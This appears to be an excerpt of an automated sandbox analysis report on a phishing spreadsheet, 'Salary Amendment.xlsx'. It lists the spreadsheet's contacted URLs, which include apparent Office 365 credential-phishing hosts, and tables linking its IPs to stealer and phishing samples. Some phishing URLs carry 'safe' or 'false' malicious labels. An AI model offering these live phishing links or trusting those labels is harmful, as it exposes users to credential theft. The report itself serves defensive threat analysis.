https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/VpduxMZR/CVxsLDkgOWkSLKgVWLRDE/CNRdWuejutMeOe	false	Avira URL Cloud: safe	unknown
https://tvrcemejeff.cpchenm.com/24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489.js	false	Avira URL Cloud: safe	unknown
https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/TjSgkUGrEdVpcvKAsaskuKUkLiwUFwkraMkMnOzEQIGtIHpC?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	false		unknown
https://tvrcedjrhte.cpchenm.com/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js	false	Avira URL Cloud: safe	unknown
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/applogos/53_7a3c80bf9694448bac31a9589d2e9e92.png	false	Avira URL Cloud: safe	unknown
https://tvrcemeheff.cpchenm.com/owa/?	false	Avira URL Cloud: safe	unknown
https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/NpZJEslplJHT?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	false		unknown
https://tvrcedjrhte.cpchenm.com/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js	false	Avira URL Cloud: safe	unknown
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	false	Avira URL Cloud: safe	unknown
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js	false	Avira URL Cloud: safe	unknown
https://cpchenm.com/BYMURbys.0.0.1	true	Avira URL Cloud: safe	unknown
https://tvrcemejeff.cpchenm.com/owa/prefetch.aspx	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://tvrceroweri.cpchenm.com	chromecache_147.4.dr	false	Avira URL Cloud: safe	unknown
https://login.windows.net	chromecache_147.4.dr	false		high
https://login.chinacloudapi.cn	chromecache_147.4.dr	false		high
https://login.windows-ppe.net	chromecache_147.4.dr	false		high
https://device.tvrceocprq.cpchenm.com	chromecache_147.4.dr	false	Avira URL Cloud: safe	unknown
https://tvrceocprq.cpchenm.com	chromecache_147.4.dr	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.de	chromecache_147.4.dr	false		high
https://tvrceusocprq.cpchenm.com	chromecache_147.4.dr	false	Avira URL Cloud: safe	unknown
https://login.partner.microsoftonline.cn	chromecache_147.4.dr	false		high
https://logincert.microsoftonline.com	chromecache_147.4.dr	false		high
http://github.com/jquery/globalize	chromecache_137.4.dr	false		high
http://knockoutjs.com/	chromecache_118.4.dr, chromecache_135.4.dr, chromecache_139.4.dr, chromecache_155.4.dr	false		high
https://login-us.microsoftonline.com	chromecache_147.4.dr	false		high
https://github.com/douglascrockford/JSON-js	chromecache_118.4.dr, chromecache_148.4.dr, chromecache_135.4.dr, chromecache_139.4.dr, chromecache_151.4.dr, chromecache_126.4.dr, chromecache_117.4.dr, chromecache_155.4.dr, chromecache_113.4.dr, chromecache_134.4.dr	false		high
http://gsgd.co.uk/sandbox/jquery/easing/	chromecache_144.4.dr, chromecache_131.4.dr	false		high
http://www.opensource.org/licenses/mit-license.php)	chromecache_118.4.dr, chromecache_135.4.dr, chromecache_139.4.dr, chromecache_155.4.dr	false		high
http://feross.org	chromecache_148.4.dr, chromecache_151.4.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.253.45	s-part-0017.t-0009.fb-t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	office365-fileshare.ru	European Union	13335	CLOUDFLARENETUS	true
2.59.163.43	cpchenm.com	Russian Federation	44676	VMAGE-ASRU	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554577
Start date and time:	2024-11-12 17:27:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	2
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Salary Amendment.xlsx
Detection:	MAL
Classification:	mal60.phis.winXLSX@21/77@40/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Browse link: https://ctrk.klclick3.com/l/01JCCYDGBH0W36M8EY4KEBXJ1V_0 Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, vga.dll, WMIADAP.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.67, 142.250.185.142, 142.250.27.84, 34.104.35.123, 104.17.93.1, 104.17.94.1, 23.72.248.78, 23.72.248.90, 142.250.181.234, 142.250.185.170, 142.250.185.138, 142.250.185.202, 172.217.16.202, 216.58.206.42, 142.250.186.170, 142.250.185.74, 216.58.206.74, 142.250.74.202, 216.58.212.170, 142.250.186.74, 142.250.185.106, 142.250.184.234, 142.250.186.106, 142.250.185.234, 184.30.21.171, 216.58.206.35
Excluded domains from analysis (whitelisted): e40491.dscg.akamaiedge.net, azurefd-t-fb-prod.trafficmanager.net, accounts.google.com, content-autofill.googleapis.com, aadcdnoriginwus2.azureedge.net, e13678.dscb.akamaiedge.net, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net, www.microsoft.com-c-3.edgekey.net, clients2.google.com, edgedl.me.gvt1.com, privacy.microsoft.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, privacy.microsoft.com.edgekey.net, cloudflare.klaviyodns.com.cdn.cloudflare.net, www.microsoft.com, e13678.dspb.akamaiedge.net, r4.res.office365.com.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Salary Amendment.xlsx

Input	Output
URL: Model: claude-3-5-sonnet-latest	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://cpchenm.com
URL: Model: claude-3-5-sonnet-latest	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": true, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": true, "third_party_hosting": true }
URL: https://office365-fileshare.ru

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	http://103.227.62.185:83	Get hash	malicious	Unknown	Browse
	https://ampa.fi/uEvMZCXCvX	Get hash	malicious	Unknown	Browse
	https://geaggda.r.af.d.sendibt2.com/tr/cl/G6qLHi_vqRpNEshmo4Rb0Zi9wTI57XqpRBN9j8dsPzzZwRPQslplmE2NZOV7I4ZyAW8Debk1WJB4vkNN2b2Ymh_xzh3GM7ikV7zFXqNBPGLT_3-ggJ1kozgt2qpczQVJPoanMp2q8VT-Vfp9XDwlA87cx4lPh-ekGo3OmOH1GVhSoreRLRYcOy9-QIzMTEB73P_5lDdW91eGd493vzrT7eGGNz_RQDN5h33uL34k84Zf-XFIybIb1ttQkKbxN5hvQd_5dlX_y4d0yT_KM2VzPr3A0fcsmlHZu3_JktQ8T932jDkv1PITN5Lgv1rTUwsHy3-BpdBMpPjZn3kWrt6TUwpuIJwGTU-yHnFelsoNQCHzwfnGZP4YdL92LyxYOt8PNTGCg27gEMxuIa0RBwD9j9pVGZtxKbGjc3Wo2UqALFneGqf_QC3sGHFr_7zyM0y4CuE2Onwf1-lzIFO6utDvVOq2umljYXy_lJZV4bSKfZeWpWNQ09UKU9JwcRjyD8ICoL-6FiKlYs8puAlM5G8Sk4AqjR-IPw41iIHOdzVbSiJs3a5cnBHhyeO7jx42M7S8htsYpmaO2bMVea40frXVlQ3e3kg	Get hash	malicious	HTMLPhisher	Browse
	ACHAT DE 2 IMMEUBLES.pdf	Get hash	malicious	Unknown	Browse
	https://t.ly/X0-7Q	Get hash	malicious	Unknown	Browse
	https://www.google.com/url?q=https%3A%2F%2Ftrimmer.to%2FPlfGc&sa=D&sntz=1&usg=AOvVaw1DTVuO2H6PM4yLoWCUd_D9	Get hash	malicious	HTMLPhisher	Browse
	View Pdf Doc_1c854e0875fca437af9ba7046d2f6712.htm	Get hash	malicious	Unknown	Browse
	https://t.ly/Bv1rG	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	scan3762399_arleen@wcctxlaw.com.pdf	Get hash	malicious	Unknown	Browse
188.114.97.3	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	paste.ee/d/dc8Ru
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	paste.ee/d/LOToW
	8dPlV2lT8o.exe	Get hash	malicious	Simda Stealer	Browse	qegyhig.com/login.php
	7ObLFE2iMK.exe	Get hash	malicious	Simda Stealer	Browse	lysyvan.com/login.php
	UMwpXhA46R.exe	Get hash	malicious	Simda Stealer	Browse	lysyvan.com/login.php
	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	lysyvan.com/login.php
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	lysyvan.com/login.php
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	lysyvan.com/login.php
	Bpfz752pYZ.exe	Get hash	malicious	Simda Stealer	Browse	qegyhig.com/login.php
	7DAKMhINGk.exe	Get hash	malicious	Simda Stealer	Browse	qegyhig.com/login.php
13.107.253.45	https://thaykinhgiasoc.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU9USlBZakE9JnVpZD1VU0VSMTcxMDIwMjRVMDAxMDE3NDA=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://eu.docworkspace.com/d/sIGWvrvOeAYXvpLkG	Get hash	malicious	Unknown	Browse
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://digitalplatform-admin-p.azurewebsites.net/external-link/?targetURL=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS5d7c8770636a4f3fd2ed2ec05584079425wDnNeW8yycT&sa=t&esrc=nNeW8F5d7c8770636a4f3fd2ed2ec05584079425A0xys8Em2FL&source=&cd=tS6T85d7c8770636a4f3fd2ed2ec05584079425Tiw9XH&cad=XpPkDfJX5d7c8770636a4f3fd2ed2ec05584079425VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fbyda.ng%2Fcig.bin%2Fgoin%2F%23c2VjcmV0YXJpYXRAcGVvLm9uLmNh	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	Martin Summers shared _View Document_ with you.eml	Get hash	malicious	Unknown	Browse
	http://www.intelliclicksoftware.net/clicktrack2/click.aspx?ActionType=CreateHistory&CustomerID=GM-CSATRANS&ParentRecordID=&Campaign=Thank%20You%20For%20Your%20Business%20SR&Name=&Company=&Phone=&Email=&Subject=Click%20Through&WebNav=True&URL=http://johnvugrin.com	Get hash	malicious	HTMLPhisher	Browse
	2CUvvDyapb.exe	Get hash	malicious	Remcos	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://u47918368.ct.sendgrid.net/ls/click?upn=u001.-2BOo3JYTQYuIFaBSzf7AB64dVRTqkGjH0MRM8KyM0AcZsOP7y7qpKWukjxhDcw92CbJO47QSxKFDJcDiP6WeaFL-2BnK3EFxpudowoMeNAVdeweBd8-2FWlMYHw0bdH9dmRj9FWWLx9-2FZjKKb84F9ITCdIGxoZiMN3mzzvXx07roy7WVNC3vFCOURYxFpe90m2E8wJ9PxEH58lcyIBohCQwrgcA-3D-3D7Qgj_AsQvLq31PKXxx3tM00egmVFtswxWHNiAKAW7v-2BME9y3foxrTpQ6z5Y5Y3k6TX-2BTbdqWMdZVTacuc-2FsKla-2BQnDyhxuGfrDPGC0inve5ZGuY9bJGKrM5EaK8IdC3aHxgKXMexjApq1Yv-2Fo2nkdHzmaIMX05B-2BRcK00sZCPCageoDEFAP0MeynrbN6eJfLKupbsQbWTUFPTXUzcncjU8U51AySRGzNQgfTZ5bFcAOShlFKqsuf25KciTGdGP3A-2FBofD5YR3osO6IK-2BefoTwxAt1P4CtUrODXihiP08tFb44snucy1SwxfDMueKUMHcRTuAXbf1k4HMxx5M9-2F4k46qOhvuaLiVUWL6XnB96ND-2BJesqeyrDYcH7gQDBkF-2Ft9dOfbph87RveTLjaU71K5zlVGHj5DbweGtprlQzW-2FAVa2qxgamgU-2BdVnaIdAfsqwI00wESnUW9OKgd-2FZSqxAaB9p-2F-2BYoTjgZf-2F43lM89eNMZonRv3e8C1Aoxa-2FsV8mYg89iRruh-2FvRiJkUcrVbbYatzvOSlR7zePoUWntrdLvmh4abI8n-2B4a6l6OHt00KAAzuzuPz5RFpduPDEuP-2FPPfJYC4wrQig4u5dvMcDSr3O5WPP6KupGDnHTn6vziIr23gkn3gj6EeAbpU1HpirN1A7rynpdvPvGTD-2FchgcZzQ9-2B4rUpO1IBcbVKgv5LeX4QGG1wNAdBCEPAUor8s8H1Ni2p3PqFRP6Mx6H3i19ISLPUg1Z-2B5EgTIPf1f4RHs1VwzG1Dq-2BG-2FzvuJxxkNZwyLv4aHan0-2BAU5E63umNxQDiKHthW8CeZp05uXi1-2BiaV-2FzgIRx32rFDuQJkUP6DqfWApsjY1ZCFZPLDZyUpWGwnMcG-2BRW5xv25mekUrT9aB2RxMGLSAJykNRSOSjaz0DAuYI7hPs-2BovbbN1slvb8Jkm1ZsUjPOcqsQ-3D	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://u47918366.ct.sendgrid.net/ls/click?upn=u001.skYLek12KWTy-2FVz15U1JGdpJfnayI4kQ0pGqHar3Dl5XD61duaRQIcmphf6sxsCT3pRESnljQSclapQG6uG3pGdVz-2B44bL9s03KAUTE5StMNIlD8xnCLLZ8lGkQWJZW6RJC-2FMS-2FmtqbnkGnTi61-2FLZhA8Cc9B2EegTHLtsNl-2BkepLTVNywnsBwsMX7xHmoWV3Dw2rHKhcl7GdTKnanH-2B2A-3D-3DsAd4_IsYeSBG-2BZ-2BTZ5It1-2BmoDsqC7nKwYR7zCsxLhuNGeEDAE80ci2YLaQMl4Chr-2FJ1Dy-2F1t-2Bt6wYBNbbXZWDZJ-2F9gxipPIVyTE-2BwkCxJb2yh-2FK571oS4WTX4wK-2B6Bz-2By5o6LaoWIUw4RL-2Be7Zu2FVjT9YRZQb18hVaXy01EnbzLh42VW9cm4LoyyvSEHNmuGsq4V3weKi-2B8ktOeXeZJ6itTfNUv90Hzr8Pks2E-2BUaeQAL4JtRydjpVfX1b-2Bb-2Br-2FLCz7N-2FWK5lEkS1jhZiYhjiqJboEKBErmNmNqMjZ-2BwyTOtY3BEE6XfRhXZ5MKCe5e9aBCpDkCtemfmauVKvLSP-2FbQ0Vmybk-2F7qA6I2Ku8cl2S1QWU3bOenut3g1b-2Fjhmr55tVtbCkJFEYXmZH0LATBv2XqsJp7O4OwfKJFhIE0bG6aRwM1uirpzCjO2IaFMBAlTI1SxTdJDdWZHOxzctWmXFVbN942FUcBds73LQ2GOGQP4XYhfMQSMHFId2qF3wvlUByd2ligk1qXM5QRquqHZW2LGZQuY8BJgN-2FcXCuzLwGQggx51jbD-2BaZogYVhObsRQIFw5QRieniieQwSt-2BCtR2cOnQB7wMuO2cen79ZEd3199uy3IVW1-2BOMJ9W6y4H9F7IR9mU2c8eigwx1-2Bv-2B7ZIdRKLM9EPP7tvXzM9KfbzlZXEXm4FEEtRO1Kjwz8Qm3lpEO6z3DYDCbAH3tN-2FdBnl08ntv4xVTHXg9zmsSPDluQjxpAJW97WDEz7bfIYDvII7tVhow1OgNWW3Za5ZIaPFlCUrGxxs4FlaLX4Nyw-2BFQrejqFq1o5ipLur5fLE9E2EFQ65iIHEhVDsb1YYcER4UDPxzNYx5zFubvHiPSjMQ62CeJk-3D	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	http://103.227.62.185:83	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://ampa.fi/uEvMZCXCvX	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://geaggda.r.af.d.sendibt2.com/tr/cl/G6qLHi_vqRpNEshmo4Rb0Zi9wTI57XqpRBN9j8dsPzzZwRPQslplmE2NZOV7I4ZyAW8Debk1WJB4vkNN2b2Ymh_xzh3GM7ikV7zFXqNBPGLT_3-ggJ1kozgt2qpczQVJPoanMp2q8VT-Vfp9XDwlA87cx4lPh-ekGo3OmOH1GVhSoreRLRYcOy9-QIzMTEB73P_5lDdW91eGd493vzrT7eGGNz_RQDN5h33uL34k84Zf-XFIybIb1ttQkKbxN5hvQd_5dlX_y4d0yT_KM2VzPr3A0fcsmlHZu3_JktQ8T932jDkv1PITN5Lgv1rTUwsHy3-BpdBMpPjZn3kWrt6TUwpuIJwGTU-yHnFelsoNQCHzwfnGZP4YdL92LyxYOt8PNTGCg27gEMxuIa0RBwD9j9pVGZtxKbGjc3Wo2UqALFneGqf_QC3sGHFr_7zyM0y4CuE2Onwf1-lzIFO6utDvVOq2umljYXy_lJZV4bSKfZeWpWNQ09UKU9JwcRjyD8ICoL-6FiKlYs8puAlM5G8Sk4AqjR-IPw41iIHOdzVbSiJs3a5cnBHhyeO7jx42M7S8htsYpmaO2bMVea40frXVlQ3e3kg	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://t.ly/X0-7Q	Get hash	malicious	Unknown	Browse	13.107.246.45
	View Pdf Doc_1c854e0875fca437af9ba7046d2f6712.htm	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://t.ly/Bv1rG	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	specifications and technical requirements.pdf	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Daan Berkers Benefits Bonus And Payroll Sign&Review yszlra.pdf	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://account-service.fr/PSTPNL/postal1	Get hash	malicious	Unknown	Browse	13.107.246.45
s-part-0017.t-0009.fb-t-msedge.net	IcisR4FC8n.dll	Get hash	malicious	Unknown	Browse	13.107.253.45
	https://thaykinhgiasoc.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU9USlBZakE9JnVpZD1VU0VSMTcxMDIwMjRVMDAxMDE3NDA=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.253.45
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	13.107.253.45
	pzPO97QouM.exe	Get hash	malicious	ScreenConnect Tool	Browse	13.107.253.45
	Multi Graphics Inc CustomerVendor Form.pdf	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	OaSEt8i2jE.exe	Get hash	malicious	Njrat	Browse	13.107.253.45
	https://eu.docworkspace.com/d/sIGWvrvOeAYXvpLkG	Get hash	malicious	Unknown	Browse	13.107.253.45
	PORgjGswYg.exe	Get hash	malicious	Unknown	Browse	13.107.253.45
	https://login-zendesk-account.servz.com.pk	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://digitalplatform-admin-p.azurewebsites.net/external-link/?targetURL=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS5d7c8770636a4f3fd2ed2ec05584079425wDnNeW8yycT&sa=t&esrc=nNeW8F5d7c8770636a4f3fd2ed2ec05584079425A0xys8Em2FL&source=&cd=tS6T85d7c8770636a4f3fd2ed2ec05584079425Tiw9XH&cad=XpPkDfJX5d7c8770636a4f3fd2ed2ec05584079425VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fbyda.ng%2Fcig.bin%2Fgoin%2F%23c2VjcmV0YXJpYXRAcGVvLm9uLmNh	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.253.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
	https://ampa.fi/uEvMZCXCvX	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://geaggda.r.af.d.sendibt2.com/tr/cl/G6qLHi_vqRpNEshmo4Rb0Zi9wTI57XqpRBN9j8dsPzzZwRPQslplmE2NZOV7I4ZyAW8Debk1WJB4vkNN2b2Ymh_xzh3GM7ikV7zFXqNBPGLT_3-ggJ1kozgt2qpczQVJPoanMp2q8VT-Vfp9XDwlA87cx4lPh-ekGo3OmOH1GVhSoreRLRYcOy9-QIzMTEB73P_5lDdW91eGd493vzrT7eGGNz_RQDN5h33uL34k84Zf-XFIybIb1ttQkKbxN5hvQd_5dlX_y4d0yT_KM2VzPr3A0fcsmlHZu3_JktQ8T932jDkv1PITN5Lgv1rTUwsHy3-BpdBMpPjZn3kWrt6TUwpuIJwGTU-yHnFelsoNQCHzwfnGZP4YdL92LyxYOt8PNTGCg27gEMxuIa0RBwD9j9pVGZtxKbGjc3Wo2UqALFneGqf_QC3sGHFr_7zyM0y4CuE2Onwf1-lzIFO6utDvVOq2umljYXy_lJZV4bSKfZeWpWNQ09UKU9JwcRjyD8ICoL-6FiKlYs8puAlM5G8Sk4AqjR-IPw41iIHOdzVbSiJs3a5cnBHhyeO7jx42M7S8htsYpmaO2bMVea40frXVlQ3e3kg	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://t.ly/X0-7Q	Get hash	malicious	Unknown	Browse	104.20.6.133
	https://www.google.com/url?q=https%3A%2F%2Ftrimmer.to%2FPlfGc&sa=D&sntz=1&usg=AOvVaw1DTVuO2H6PM4yLoWCUd_D9	Get hash	malicious	HTMLPhisher	Browse	104.21.36.204
	View Pdf Doc_1c854e0875fca437af9ba7046d2f6712.htm	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://t.ly/Bv1rG	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.17.25.14
	scan3762399_arleen@wcctxlaw.com.pdf	Get hash	malicious	Unknown	Browse	172.67.74.152
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
VMAGE-ASRU	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	193.43.91.119
	file.exe	Get hash	malicious	Cryptbot	Browse	193.43.91.119
	Payload 94.75.225.exe	Get hash	malicious	Unknown	Browse	45.89.54.11
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Socks5Systemz, Stealc, Vidar	Browse	2.59.161.36
	drawXuCgTj.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	2.59.161.36
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	2.59.161.36
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	2.59.161.36
	http://rt.authses.online	Get hash	malicious	Unknown	Browse	45.148.244.222
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	194.116.215.195
	Report-41952.lnk	Get hash	malicious	Unknown	Browse	193.242.145.138
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	https://ampa.fi/uEvMZCXCvX	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://geaggda.r.af.d.sendibt2.com/tr/cl/G6qLHi_vqRpNEshmo4Rb0Zi9wTI57XqpRBN9j8dsPzzZwRPQslplmE2NZOV7I4ZyAW8Debk1WJB4vkNN2b2Ymh_xzh3GM7ikV7zFXqNBPGLT_3-ggJ1kozgt2qpczQVJPoanMp2q8VT-Vfp9XDwlA87cx4lPh-ekGo3OmOH1GVhSoreRLRYcOy9-QIzMTEB73P_5lDdW91eGd493vzrT7eGGNz_RQDN5h33uL34k84Zf-XFIybIb1ttQkKbxN5hvQd_5dlX_y4d0yT_KM2VzPr3A0fcsmlHZu3_JktQ8T932jDkv1PITN5Lgv1rTUwsHy3-BpdBMpPjZn3kWrt6TUwpuIJwGTU-yHnFelsoNQCHzwfnGZP4YdL92LyxYOt8PNTGCg27gEMxuIa0RBwD9j9pVGZtxKbGjc3Wo2UqALFneGqf_QC3sGHFr_7zyM0y4CuE2Onwf1-lzIFO6utDvVOq2umljYXy_lJZV4bSKfZeWpWNQ09UKU9JwcRjyD8ICoL-6FiKlYs8puAlM5G8Sk4AqjR-IPw41iIHOdzVbSiJs3a5cnBHhyeO7jx42M7S8htsYpmaO2bMVea40frXVlQ3e3kg	Get hash	malicious	HTMLPhisher	Browse	20.50.201.204
	View Pdf Doc_1c854e0875fca437af9ba7046d2f6712.htm	Get hash	malicious	Unknown	Browse	40.99.149.210
	https://t.ly/Bv1rG	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	Viridium-gruppe shared ''v_iridium-gruppe_441826776_12.11.2024''.msg	Get hash	malicious	Unknown	Browse	52.123.255.64
	specifications and technical requirements.pdf	Get hash	malicious	HTMLPhisher	Browse	20.190.159.2
	https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse	150.171.28.10
	https://funpresc.pe.gov.br/976823/secure-redirect/index.html#Francois.barbeau+staples.ca%20%20https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse	150.171.28.10
	https://cx.surveysensum.com/d6xqqwvx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 567 x 721, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	52380
Entropy (8bit):	7.9647837435832605
Encrypted:	false
SSDEEP:	1536:4bnJjOtKZNCM3pY/e9gSbMJsJVq29LNvzvpXA:4bAtfM3pJDysJVqAlLy
MD5:	2D59802E35BFCEF03B88FF5E56771967
SHA1:	C30A36A8E6FD4FF4D7E5B01C9D391F1D461A4819
SHA-256:	3D7E42B0B2BDB41E530A25E4B4A5AA34F56DB619764899D02C28B7F2F3BA1558
SHA-512:	A7E3F2A72C57D038D5621EC73994376C8388E24DF5391C525BBBC009E054267D76E1DE544754745831AF01BB174D94F68E435468F4C0FECB19085AF4207F9936
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...7.........(W.f....sRGB.........gAMA......a.....pHYs..........+.....1IDATx^..x...9....{.=..{.....K..h.{K....P.X.....wwO.@pww.. $XB`...a:.{'.....}.g.5k....I./ ..B.....B.."..B.._.RB.!..TJ.!...J.!../R)!...E%...H...B.....B.."..B.._.RB.!..TJ.!...J.!../R)!...%.R...v..e....B.q.@..Ix.J.!...H...B.....B.."..B.._\|.R.N.9~......!..~.L..'N.J=y.......gN9..B.q..J..1c\|..a..Gt>.0.........l:4e....6......s.fmm.`G....sNW..B\!..R..#.>....?R./....3..?N.hzd....J....'.:1_...I..'.~......!..B.X.f.N+.P..O}...........J.z.....7BU3>_.....?k......3.d8].B.q..J.....B...Tx.J.!...J.....B..<.R..J..L...3.N{...P.XI...........CW-L.Sq..........A.....;...y..Tx8/.2u....1a.8.!....C...8qBV......5k..7.o.].t...a..........B...J].'~.....M..-[.$....7o...>#...Q.....+Wr.....m.6...R.^.G......9t..al..{../Z.......4.X...~..w.5j.h...L..\.<.T<.D...d.M..A..5k....c@./^\|....\.p....8.q...Y~.h.b....G.a.i...P.&Mp.6n.x5[a&...(z...V.Z.J.~.Q.^.z.L.8q...?.....^.%D.!...e\|..<p....

